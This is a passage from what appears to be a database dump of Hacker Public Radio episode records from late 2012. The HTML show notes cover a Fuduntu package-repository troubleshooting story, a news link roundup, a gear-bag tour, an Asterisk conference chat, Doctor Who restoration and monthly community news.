\r\n</P>\r\n<P><BR>\r\n</P>\r\n<P>I visited the Mumble installation page\r\non SourceForge, and found they no longer linked to .deb files and\r\nfedora .rpms, as they assume you can install from your repositories.\r\nThinking someone must have found an easy solution, I hit Google. The\r\nbest answer I found was a page on the Fuduntu forums\r\n(https://www.fuduntu.org/forum/viewtopic.php?f=21&amp;t=2237 ), that\r\nsuggested downloading the Mumble and a dozen prerequisite library\r\n.rpm\'s from a third party site called rpm.pbone.net. I visited\r\npbone.net, and found when I looked up each library, I got a dozen\r\ndifferent links to versions of the file. Then I saw a link that\r\nseemed to offer the promise of simplifying my task, if I subscribed\r\nto pbone.net, I could add their whole catalog as a repo. While\r\nresearching the legitimacy of pbone.net, I found them mentioned in\r\nthe same sentence as RPMFusion as an alternate repository for Fedora.\r\nI decided to install the RPMFusion repos as well, thinking I might\r\nfind some of the needed libraries in there. I registered with pbone,\r\nand discovered I would only have access to their repository for 14\r\ndays free, after which it would cost $3 a month (after all, hosting\r\nsuch a service must cost money). I figured the free trial would at\r\nleast get Mumble installed, and went through the set up. Among the\r\nquestions I had to answer were which Fedora version I was running (I\r\npicked 17, since Fuduntu is rolling) and 32 or 64 bit. pbone.net\r\ngenerated a custom .repo file to place in my /etc/yum.repos.d\r\ndirectory. At this time, I\'d already set up RPMFusion. \r\n</P>\r\n<P><BR>\r\n</P>\r\n<P>The fun started when I ran \'yum\r\nupdate\'. I got &quot;Error: Cannot find a valid baseurl for repo:\r\nrpmfusion-free&quot;. It turns out (\r\nhttps://optics.csufresno.edu/~kriehn/fedora/fedora_files/f10/howto/repositories.html\r\n) the location of the RPMFusion servers are usually commented out in\r\nthe .repo files, Fedora must know where they are, but I guess Fuduntu\r\ndoes not. I uncommented each of the baseurl statements (there are\r\nthree) in each of the RPMFusion .repo files (there are four files,\r\nfree, non-free, free-testing, and non-free testing). I then re-ran\r\n\'yum update\', this time I was told the paths for the RPMFusion\r\nbaseurl\'s didn\'t exist. I opened up the path in a browser and\r\nconfirmed it was indeed wrong. I pruned sub directories from the path\r\none by one until I found a truncated url that actually existed on the\r\nRPMFusion FTP server. I looked at the .repo files again and figured\r\nout the paths referenced included global environment variables the\r\nwere inconstant between Fedora and Fuduntu. For instance, $release in\r\nFedora would return a value like 15, 16, or 17, where in Fuduntu it\r\nresolves to 2012. I figured if I took the time, I could walk up and\r\ndown the FTP server and come up with literal paths to put in the\r\nRPMFusion .repo files, but instead I just moved the involved .repo\r\nfiles into another folder to be dealt with another day. \r\n</P>\r\n<P><BR>\r\n</P>\r\n<P>I again launched \'yum update\'. This\r\ntime had no errors, but I was getting an excessive amount of new\r\nfiles from my new pbone.net repo (\'yum update\' updates your sources\r\nand downloads changed files all in one operation). It\'s possible the\r\nrolling Fuduntu is closer Fedora 16, so when I told pbone.net I was\r\nrunning 17, all the files in the alternate repo were newer than what\r\ni had. In any case, I had no wish to be dependent of a repo I had to\r\nrent at $3 a month, so I canceled the operation, admitted defeat, and\r\nstarted downloading the 64bit version of Lubuntu. I know I said I\r\nwould rather have a more challenging distro, but because of it\'s\r\nlocation, this needs to be a just works PC, not a hack on it for half\r\na day box. I would have like to have given Mageia, Rosa, or PCLinuxOS\r\na shot, but too many packages from outside the repos (case in point,\r\nHulu Desktop) are only available in Debian and Fedora flavors. You\r\nknow the rest, I installed Lubuntu, borked my Grub, loop back to the\r\ntop of the page.</P>\r\n',131,0,1,'CC-BY-SA','linux,distributions ',0,4296,1),
(1105,'2012-10-26','TGTM Newscast for 10/24/2012',1246,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul>\r\n<li><a href=\"https://www.rawstory.com/rs/2012/10/13/billionaire-koch-brother-accused-of-imprisoning-interrogating-former-employee/\">Billionaire Koch brother accused of imprisoning, interrogating former employee</a></li>\r\n<li><a href=\"https://icelandreview.com/icelandreview/daily_news/?ew_0_a_id=394567\">Iceland Constitutional Referendum: Two Thirds Vote Yes</a></li>\r\n<li><a href=\"https://www.allgov.com/news/top-stories/93-of-presidential-ad-money-spent-in-just-9-states-121012?news=845932\">93% of Presidential Ad Money Spent in Just 9 States</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/10/19/headlines#10194\">NY Federal Appeals Court Strikes Down DOMA</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/10/17/headlines#10174\">Green Party Candidates Arrested for Trying to Enter Debate </a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/10/stingrays-biggest-unknown-technological-threat-cell-phone-privacy\">Stingrays: The Biggest Technological Threat to Cell Phone Privacy You Don\'t Know About</a></li>\r\n<li><a href=\"https://torrentfreak.com/new-megaupload-will-deflect-copyright-liability-and-become-raid-proof-121018/\">New MegaUpload Will Deflect Copyright Liability and Become Raid-Proof</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/10/eff-condemns-arrest-prominent-cuban-bloggers\">EFF Condemns Arrest of Prominent Cuban Bloggers</a></li>\r\n<li><a href=\"https://torrentfreak.com/dmca-notice-forces-1450000-education-blogs-offline-121016/\">DMCA Notice Forces 1,450,000 Education Blogs Offline</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20121018/16295620755/school-suspends-students-finding-racy-photo-teacher-accidentally-put-their-ipads.shtml\">School Suspends Students For Finding \'Racy\' Photo Teacher Accidentally Put On Their iPads</a></li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n<li><a href=\"https://inthesetimes.com/article/14023/mexicos_labor_law_reform_sparks_massive_protests/\">Mexico’s Labor Law Reform Sparks Massive Protests</a></li>\r\n<li><a href=\"https://www.rhrealitycheck.org/article/2012/10/19/not-done-texas-dshs-rules-on-abortion-affiliate-ban\">Texas Promises To Shut Down Women\'s Health Program Altogether If Compelled To Include Planned Parenthood</a></li>\r\n<li><a href=\"https://torrentfreak.com/pirate-bay-moves-to-the-cloud-becomes-raid-proof-121017/\">Pirate Bay Moves to The Cloud, Becomes Raid-Proof</a></li>\r\n<li><a href=\"https://thecommandline.net/2012/10/16/pirate_cinema/\">TCLP 2012-10-16 Cory Doctorow: Pirate Cinema</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/10/tale-two-countries-new-zealand-apologizes-illegal-domestic-spying-while-us-still\">A Tale of Two Countries: New Zealand Apologizes for Illegal Domestic Spying, While US Still Refuses to Acknowledge NSA’s Warrantless Wiretapping</a></li>\r\n</ul>\r\n<p>News from \"techdirt.com,\" \"rawstory.com,\"  \"icelandreview.com,\" and \"allgov.com\" used under arranged permission. News from \"torrentfreak.com,\" and \"eff.org\" used under permission of the Creative Commons by-attribution license. News from \"democracynow.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license. News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2><ul>\r\n<li><a href=\"https://www.rawstory.com/rs/2012/10/13/billionaire-koch-brother-accused-of-imprisoning-interrogating-former-employee/\">https://www.rawstory.com/rs/2012/10/13/billionaire-koch-brother-accused-of-imprisoning-interrogating-former-employee/</a></li>\r\n<li><a href=\"https://icelandreview.com/icelandreview/daily_news/?ew_0_a_id=394567\">https://icelandreview.com/icelandreview/daily_news/?ew_0_a_id=394567</a></li>\r\n<li><a href=\"https://www.allgov.com/news/top-stories/93-of-presidential-ad-money-spent-in-just-9-states-121012?news=845932\">https://www.allgov.com/news/top-stories/93-of-presidential-ad-money-spent-in-just-9-states-121012?news=845932</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/10/19/headlines#10194\">https://www.democracynow.org/2012/10/19/headlines#10194</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/10/17/headlines#10174\">https://www.democracynow.org/2012/10/17/headlines#10174</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/10/stingrays-biggest-unknown-technological-threat-cell-phone-privacy\">https://www.eff.org/deeplinks/2012/10/stingrays-biggest-unknown-technological-threat-cell-phone-privacy</a></li>\r\n<li><a href=\"https://torrentfreak.com/new-megaupload-will-deflect-copyright-liability-and-become-raid-proof-121018/\">https://torrentfreak.com/new-megaupload-will-deflect-copyright-liability-and-become-raid-proof-121018/</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/10/eff-condemns-arrest-prominent-cuban-bloggers\">https://www.eff.org/deeplinks/2012/10/eff-condemns-arrest-prominent-cuban-bloggers</a></li>\r\n<li><a href=\"https://torrentfreak.com/dmca-notice-forces-1450000-education-blogs-offline-121016/\">https://torrentfreak.com/dmca-notice-forces-1450000-education-blogs-offline-121016/</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20121018/16295620755/school-suspends-students-finding-racy-photo-teacher-accidentally-put-their-ipads.shtml\">https://www.techdirt.com/articles/20121018/16295620755/school-suspends-students-finding-racy-photo-teacher-accidentally-put-their-ipads.shtml</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/14023/mexicos_labor_law_reform_sparks_massive_protests/\">https://inthesetimes.com/article/14023/mexicos_labor_law_reform_sparks_massive_protests/</a></li>\r\n<li><a href=\"https://www.rhrealitycheck.org/article/2012/10/19/not-done-texas-dshs-rules-on-abortion-affiliate-ban\">https://www.rhrealitycheck.org/article/2012/10/19/not-done-texas-dshs-rules-on-abortion-affiliate-ban</a></li>\r\n<li><a href=\"https://torrentfreak.com/pirate-bay-moves-to-the-cloud-becomes-raid-proof-121017/\">https://torrentfreak.com/pirate-bay-moves-to-the-cloud-becomes-raid-proof-121017/</a></li>\r\n<li><a href=\"https://thecommandline.net/2012/10/16/pirate_cinema/\">https://thecommandline.net/2012/10/16/pirate_cinema/</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/10/tale-two-countries-new-zealand-apologizes-illegal-domestic-spying-while-us-still\">https://www.eff.org/deeplinks/2012/10/tale-two-countries-new-zealand-apologizes-illegal-domestic-spying-while-us-still</a></li>\r\n</ul>\r\n',237,65,1,'CC-BY-SA','newscast,TGTM ',0,2438,1),
(1107,'2012-10-30','Compilers Part 3',628,'The semantic analysis stage of compilation','<strong>miscellaneous radio theater 4096</strong>\r\n<br />\r\nIn this multipart episode sigflup describes the semantic analysis stage of a compiler.\r\n',115,84,1,'CC-BY-SA','compiler,semantic analysis ',0,2246,1),
(1108,'2012-10-31','What\'s In my Bag?',540,'We examine the contents of Mike\'s bag','<!-- Edited by Dave Morriss 2016-03-12 to remove the <caption> stuff which is\r\nillegal and will probably prevent the upload to archive.org -->\r\n<table border=\"0\">\r\n<tbody>\r\n<tr>\r\n<th>Kit</th>\r\n<th>Description</th>\r\n</tr>\r\n<tr>\r\n<td>\r\n<!-- <caption  id=\"attachment_1668\" align=\"alignleft\" width=\"225\"> -->\r\n<a href=\"https://titaniumbunker.com/?attachment_id=1668\" rel=\"attachment wp-att-1668\"><img class=\"size-medium wp-image-1668 \" title=\"My Backpack \" src=\"https://titaniumbunker.com/wp-content/uploads/2012/10/IMAG0235-225x300.jpg\" alt=\"My Backpack\" width=\"225\" height=\"300\" /></a><br/>My Backpack\r\n<!-- </caption> -->\r\n</td>\r\n<td> My Backpack - note the HPR Badge - this is the bag I take to work every day.</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<!-- <caption  id=\"attachment_1669\" align=\"alignleft\" width=\"300\"> -->\r\n<a href=\"https://titaniumbunker.com/?attachment_id=1669\" rel=\"attachment wp-att-1669\"><img class=\"size-medium wp-image-1669\" title=\"My Acer Aspire netbook  \" src=\"https://titaniumbunker.com/wp-content/uploads/2012/10/IMAG0236-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" /></a><br/>My Acer Aspire netbook\r\n<!-- </caption> -->\r\n</td>\r\n<td>This is a refurbed type unit I got from the <a href=\"https://www.acerdirect.co.uk/\">Acer Direct</a>.</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n\r\n<!-- <caption  id=\"attachment_1670\" align=\"alignleft\" width=\"300\"> -->\r\n<a href=\"https://titaniumbunker.com/?attachment_id=1670\" rel=\"attachment wp-att-1670\"><img class=\"size-medium wp-image-1670\" title=\"My Kindle 2 \" src=\"https://titaniumbunker.com/wp-content/uploads/2012/10/IMAG0238-300x225.jpg\" alt=\"My Kindle 2\" width=\"300\" height=\"225\" /></a><br/>My Kindle 2\r\n<!-- </caption> -->\r\n</td>\r\n<td>This kindle was a birthday present from Rachel, last year.  She knows me so well :)Its loaded with a load of ebooks from the great folks at <a href=\"https://oreilly.com\">O\'reilly</a>.The case for this was from <a href=\"https://www.tesco.com/direct/tesco-finest-leather-folio-black-kindle-case/215-7023.prd\">Tesco</a></td>\r\n</tr>\r\n<tr>\r\n<td>\r\n\r\n<!-- <caption  id=\"attachment_1672\" align=\"alignleft\" width=\"225\"> -->\r\n<a href=\"https://titaniumbunker.com/?attachment_id=1672\" rel=\"attachment wp-att-1672\"><img class=\"size-medium wp-image-1672\" title=\"My Car-pod ipod\" src=\"https://titaniumbunker.com/wp-content/uploads/2012/10/IMAG0241-225x300.jpg\" alt=\"My Car-pod ipod\" width=\"225\" height=\"300\" /></a><br/>My Car-pod ipod\r\n<!-- </caption> -->\r\n</td>\r\n<td>When I upgraded cars the biggest disappointment for me was that going from a <a href=\"https://www.kia.co.uk/\">Kia Cee\'d</a> , where I could plug in USB keys with pod-casts on - I now no longer had a USB port in my <a href=\"https://www.seat.com\">SEAT</a>.  Rachel bought this for me from <a href=\"https://uk.webuy.com/\">CEX</a>.  I\'ve replaced the firmware with <a href=\"https://www.rockbox.org/\">rockbox.</a></td>\r\n</tr>\r\n<tr>\r\n<td>\r\n\r\n<!-- <caption  id=\"attachment_1671\" align=\"alignleft\" width=\"225\"> -->\r\n<a href=\"https://titaniumbunker.com/?attachment_id=1671\" rel=\"attachment wp-att-1671\"><img class=\"size-medium wp-image-1671 \" title=\"My newest iPod\" src=\"https://titaniumbunker.com/wp-content/uploads/2012/10/IMAG0240-225x300.jpg\" alt=\"My newest iPod\" width=\"225\" height=\"300\" /></a><br/>My newest iPod\r\n<!-- </caption> -->\r\n</td>\r\n<td>My newest iPod - this used to belong to my Rachel, but the screen has started to go - She looked at getting it repaired - pricey as it is out of the warranty period - so she got herself a new one (cue a long process of me transferring her songs to the new iPod :() and I acquired her old one.  I have replaced the <a href=\"https://www.Apple.com\">Apple</a> firmware with <a href=\"https://www.rockbox.org/\">rockbox</a>, and it works great under Linux.</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n\r\n<!-- <caption  id=\"attachment_1673\" align=\"alignleft\" width=\"225\"> -->\r\n<a href=\"https://titaniumbunker.com/?attachment_id=1673\" rel=\"attachment wp-att-1673\"><img class=\"size-medium wp-image-1673\" title=\"My 2GB USB Key\" src=\"https://titaniumbunker.com/wp-content/uploads/2012/10/IMAG0242-225x300.jpg\" alt=\"My 2GB USB Key\" width=\"225\" height=\"300\" /></a><br/>My 2GB USB Key\r\n<!-- </caption> -->\r\n</td>\r\n<td>This key contains nothing (at the moment) apart from a design for a leaving cake (Keep calm and Google it) and a file called ldlinux.sys, left over from the previous contents.\r\n\r\n<!-- <caption  id=\"attachment_1679\" align=\"alignleft\" width=\"300\"> -->\r\n<a href=\"https://titaniumbunker.com/?attachment_id=1679\" rel=\"attachment wp-att-1679\"><img class=\"size-medium wp-image-1679\" title=\"Google cake\" src=\"https://titaniumbunker.com/wp-content/uploads/2012/10/Google-cake-300x300.png\" alt=\"Google cake\" width=\"300\" height=\"300\" /></a><br/>Google cake\r\n<!-- </caption> -->\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n\r\n<!-- <caption  id=\"attachment_1675\" align=\"alignleft\" width=\"225\"> -->\r\n<a href=\"https://titaniumbunker.com/?attachment_id=1675\" rel=\"attachment wp-att-1675\"><img class=\"size-medium wp-image-1675\" title=\"My Conference Folio\" src=\"https://titaniumbunker.com/wp-content/uploads/2012/10/IMAG0245-e1349602615108-225x300.jpg\" alt=\"\" width=\"225\" height=\"300\" /></a><br/>My Conference Folio\r\n<!-- </caption> -->\r\n</td>\r\n<td>This is a pleather folio I picked up ages ago from I know now where - probably before Opal Telecoms was bought by <a href=\"https://www.talktalkbusiness.co.uk/\">TalkTalk</a>.  Currently the old web address (www.opal.co.uk) <em>seems</em> to redirect to opal-solutions.com which seems to redirect to TalkTalk, only it actually doesn\'t work.</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n\r\n<!-- <caption  id=\"attachment_1676\" align=\"alignleft\" width=\"300\"> -->\r\n<a href=\"https://titaniumbunker.com/?attachment_id=1676\" rel=\"attachment wp-att-1676\"><img class=\"size-medium wp-image-1676\" title=\"My Folio Contents\" src=\"https://titaniumbunker.com/wp-content/uploads/2012/10/IMAG0246-300x225.jpg\" alt=\"My Folio Contents\" width=\"300\" height=\"225\" /></a><br/>I keep an Oxford pad (i like the paper) in here.\r\n<!-- </caption> -->\r\n</td>\r\n<td>I keep an Oxford pad (i like the paper) in here.</td>\r\n</tr>\r\n<tr>\r\n<td> <a href=\"https://titaniumbunker.com/?attachment_id=1696\" rel=\"attachment wp-att-1696\"><img class=\"alignleft size-medium wp-image-1696\" title=\"WirelessNotebookOpticalMouse4000_Large[1>\" src=\"https://titaniumbunker.com/wp-content/uploads/2012/10/WirelessNotebookOpticalMouse4000_Large1-300x266.jpg\" alt=\"\" width=\"300\" height=\"266\" /></a></td>\r\n<td> My Microsoft mouse was missing from my bag, as I had been using it with my Raspberry Pi - but it\'s like this. </td>\r\n</tr>\r\n<tr>\r\n<td></td>\r\n<td></td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n',185,23,1,'CC-BY-SA','backpack,Acer Aspire,Kindle,iPod,Rockbox ',0,2402,1),
(1109,'2012-11-01','Astricon 2012 - Virtues of the Open Source Telephony Platform',3037,'A conversation recorded at Astricon','<p>\r\n\r\nHost - sunzofman1 -&gt; <a href=\"https://bkaeg.org/blog\">https://bkaeg.org/blog</a>\r\nGuests - Randy Resnick, Allison Smith, Eric Ostenberg, Kevin Bushong\r\n</p>\r\n<p>\r\nRandy discusses the history of the VUC (VoIP Users Conference)-&gt;  <a href=\"https://vuc.me\">https://vuc.me</a>\r\nEarly Talkshoe days (RIP Talkshoe), pre-dates mumble servers.\r\nAllison (voice of Asterisk) explains how she got involved with the telephony and asterisk in general.\r\nShe graciously authenticates herself with a genuine echo test ;-)	\r\nEric and Kevin wax poetic about their early experiences with telcos and telephony.\r\nEveryone talks about some of the useful features and applications within Asterisk.\r\n</p>\r\n\r\n<ul>\r\n<li>DISA\r\n</li>\r\n<li>chan_dahdi\r\n</li>\r\n<li>SIP\r\n</li>\r\n<li>g722 codec\r\n<p></p>\r\nWe later get into what we believe asterisk will become in the future.\r\n<p></p>\r\n</li>\r\n<li>Supplement GSM networks\r\n</li>\r\n<li>Automobile telematics (sunzofman1 has a special place in his heart for telematics)\r\n<p></p>\r\nHost encourages everyone to contribute a HPR show! \r\n</li>\r\n</ul>',158,54,1,'CC-BY-SA','Astricon,Asterisk,VOIP ',0,2359,1),
(1110,'2012-11-02','The Doctor Who Restoration Team',469,'The restoration of old Doctor Who episodes','<p>\r\nIn this episode I talk about the team of people behind the restoration of old Doctor Who episodes and some of the techniques used to make 40 year old telly look as good as new.\r\n</p>\r\n<p>\r\nThe team\'s website with lots of in depth info: \r\n<a href=\"https://www.restoration-team.co.uk/\">https://www.restoration-team.co.uk/</a>\r\n</p>\r\n<p>\r\nSome Wikipedia pages with more info: \r\n<a href=\"https://en.wikipedia.org/wiki/Doctor_Who_Restoration_Team\">https://en.wikipedia.org/wiki/Doctor_Who_Restoration_Team</a>\r\n<a href=\"https://en.wikipedia.org/wiki/Tele-snaps\">https://en.wikipedia.org/wiki/Tele-snaps</a>\r\n</p>\r\n<p>\r\nMusic was me messing about with Zynaddsubfx and a USB MIDI keyboard. Sounded a bit like 80s Who.\r\nContact me at aukondk.com\r\n</p>',191,0,1,'CC-BY-SA','Doctor Who',0,3157,1),
(1111,'2012-11-05','HPR Community News October 2012',7392,'HPR Community News October 2012','<!-- <head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" />\r\n</head>\r\n<body> -->\r\n<h2>Featuring</h2>\r\n<p>\r\naparanoidshell<br />\r\nbobobex<br />\r\ncorenominal<br />\r\nEpicanis<br />\r\nFiftyOneFifty<br />\r\nKen Fallon<br />\r\nKT4KB-Jon\r\n</p>\r\n\r\n<h2>New hosts</h2>\r\n<p>Welcome to our new hosts: \r\n\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=226\">bobobex</a>, and\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a>\r\n</p>\r\n\r\n<h2>Show Review</h2>\r\n\r\n<table id=\"table_results\" class=\"data ajax\">\r\n<thead><tr>\r\n<th class=\"condition\">id\r\n</th><th>title\r\n</th><th>host\r\n</th></tr>\r\n</thead>\r\n<tbody>\r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1086</td>\r\n<td  class=\"data inline_edit not_null odd  \">HPR Community News September 2012</td>\r\n<td  class=\"data inline_edit not_null odd  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1087</td>\r\n<td  class=\"data inline_edit not_null even  \">The FSCONS of Jonas Öberg</td>\r\n<td  class=\"data inline_edit not_null even  \">Seetee</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1088</td>\r\n<td  class=\"data inline_edit not_null odd  \">Penguicon 2012</td>\r\n<td  class=\"data inline_edit not_null odd  \">Ahuka</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1089</td>\r\n<td  class=\"data inline_edit not_null even  \">Max Mether of SkySQL talks about MariaDB</td>\r\n<td  class=\"data inline_edit not_null even  \">Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1090</td>\r\n<td  class=\"data inline_edit not_null odd  \">TGTM Newscast for 10/2/2012</td>\r\n<td  class=\"data inline_edit not_null odd  \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1091</td>\r\n<td  class=\"data inline_edit not_null even  \">Useful Vim Plugins</td>\r\n<td  class=\"data inline_edit not_null even  \">Dave Morriss</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1092</td>\r\n<td  class=\"data inline_edit not_null odd  \">Ham Radio: The Original Tech Geek Passion</td>\r\n<td  class=\"data inline_edit not_null odd  \">MrGadgets</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1093</td>\r\n<td  class=\"data inline_edit not_null even  \">Separate Presentation from Content - 2 Office Software</td>\r\n<td  class=\"data inline_edit not_null even  \">Ahuka</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1094</td>\r\n<td  class=\"data inline_edit not_null odd  \">Linux, Beer, and Who Cares?</td>\r\n<td  class=\"data inline_edit not_null odd  \">FiftyOneFifty</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1095</td>\r\n<td  class=\"data inline_edit not_null even  \">TGTM Newscast for 2012/10/07</td>\r\n<td  class=\"data inline_edit not_null even  \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1096</td>\r\n<td  class=\"data inline_edit not_null odd  \">KeepassX</td>\r\n<td  class=\"data inline_edit not_null odd  \">Frank Bell</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1097</td>\r\n<td  class=\"data inline_edit not_null even  \">The Cyberunions Podcast</td>\r\n<td  class=\"data inline_edit not_null even  \">Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1098</td>\r\n<td  class=\"data inline_edit not_null odd  \">My Journey to Geekdom</td>\r\n<td  class=\"data inline_edit not_null odd  \">bobobex</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1099</td>\r\n<td  class=\"data inline_edit not_null even  \">compilers part 2</td>\r\n<td  class=\"data inline_edit not_null even  \">sigflup</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1100</td>\r\n<td  class=\"data inline_edit not_null odd  \">Why Android Tablets Suck Part2</td>\r\n<td  class=\"data inline_edit not_null odd  \">MrGadgets</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1101</td>\r\n<td  class=\"data inline_edit not_null even  \">Recovery of an (en)crypted home directory in a buntu based system</td>\r\n<td  class=\"data inline_edit not_null even  \">FiftyOneFifty</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1102</td>\r\n<td  class=\"data inline_edit not_null odd  \">Speech Impediments</td>\r\n<td  class=\"data inline_edit not_null odd  \">DoorToDoorGeek</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1103</td>\r\n<td  class=\"data inline_edit not_null even  \">Thoughtkindness: In Defense of Media Freetardation</td>\r\n<td  class=\"data inline_edit not_null even  \">Epicanis</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1104</td>\r\n<td  class=\"data inline_edit not_null odd  \">TuxJam: Episode 15</td>\r\n<td  class=\"data inline_edit not_null odd  \">Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1105</td>\r\n<td  class=\"data inline_edit not_null even  \">TGTM Newscast for 10/24/2012</td>\r\n<td  class=\"data inline_edit not_null even  \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1106</td>\r\n<td  class=\"data inline_edit not_null odd  \">Of Fuduntu, RescaTux (or the Farmer Buys a Dell)</td>\r\n<td  class=\"data inline_edit not_null odd  \">FiftyOneFifty</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1107</td>\r\n<td  class=\"data inline_edit not_null even  \">Compilers Part 3</td>\r\n<td  class=\"data inline_edit not_null even  \">sigflup</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1108</td>\r\n<td  class=\"data inline_edit not_null odd  \">What\'s In my Bag?</td>\r\n<td  class=\"data inline_edit not_null odd  \">Mike Hingley</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">1109</td>\r\n<td  class=\"data inline_edit not_null even  \">Astricon 2012 - Virtues of the Open Source Telephony Platform</td>\r\n<td  class=\"data inline_edit not_null even  \">Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">1110</td>\r\n<td  class=\"data inline_edit not_null odd  \">The Doctor Who Restoration Team</td>\r\n<td  class=\"data inline_edit not_null odd  \">AukonDK</td>\r\n</tr>\r\n            \r\n</tbody>\r\n</table>\r\n\r\n<h2>Other News</h2>\r\n<p>Only about one third of the downloads are OGG so if you are freedom lover change over to the ogg feed. <br />\r\n<a href=\"https://hackerpublicradio.org/hpr_ogg_rss.php\">https://hackerpublicradio.org/hpr_ogg_rss.php</a>\r\n</p>\r\n<p>Apologies again to BuyerBrown for the show mixup.\r\n</p>\r\n<h2>FOSDEM - HPR/Podcast table</h2>\r\n<p>\r\nIf anyone is going to FOSDEM (<a href=\"https://fosdem.org/2013/\">https://fosdem.org/2013/</a> and would be interested in covering a booth, please get in touch with admin at hpr<br />\r\nThis also counts for other podcasters who want to share a table.\r\n</p>\r\n<h2>Reshaping HPR</h2>\r\n<p>\r\nThere has been a lot of activity on the mail list this month about changes to the scheduling rules and about the upload formats. \r\n</p>\r\n<p>\r\nPlease start by (re)listening to <a href=\"https://hackerpublicradio.org/eps.php?id=0560\">0560 - Old soldiers | 2010-08-02</a>\r\n</p>\r\n<p>\r\nAs we didn\'t have shows to fill the feed, we introduced other Non-HPR exclusive content to fill the gaps.<br />\r\nAs contributions increased this resulted in a long delay in getting the HPR exclusive content out. <br />\r\nThe rest can be read via manually created mail archive <a href=\"https://hackerpublicradio.org/archive/hpr-at-hackerpublicradio.org_2012-10-archive.pdf\">https://hackerpublicradio.org/archive/hpr-at-hackerpublicradio.org_2012-10-archive.pdf</a>\r\n</p>\r\n<p>\r\nThere is also a discussion about changing the upload to FLAC only\r\n</p>\r\n<h2>Dev News</h2>\r\n<p>\r\nThe cpanel website is giving problems and Josh is working to get them fixed. \r\n</p>\r\n<p>mordancy pointed out that we didn\'t have a full feed for the ogg and spx. So after thinking about it for too long these have also been added.\r\n</p>\r\n<p>\r\nWe made some clean up to the website so please have a look around and report anything out of the ordinary.\r\n</p>\r\n<p>\r\nEpicanis has been working on a upload form which can be found <a href=\"https://hpr.dogphilosophy.net/hprup.php\">https://hpr.dogphilosophy.net/hprup.php</a>\r\n<p>\r\nThe gitorious page 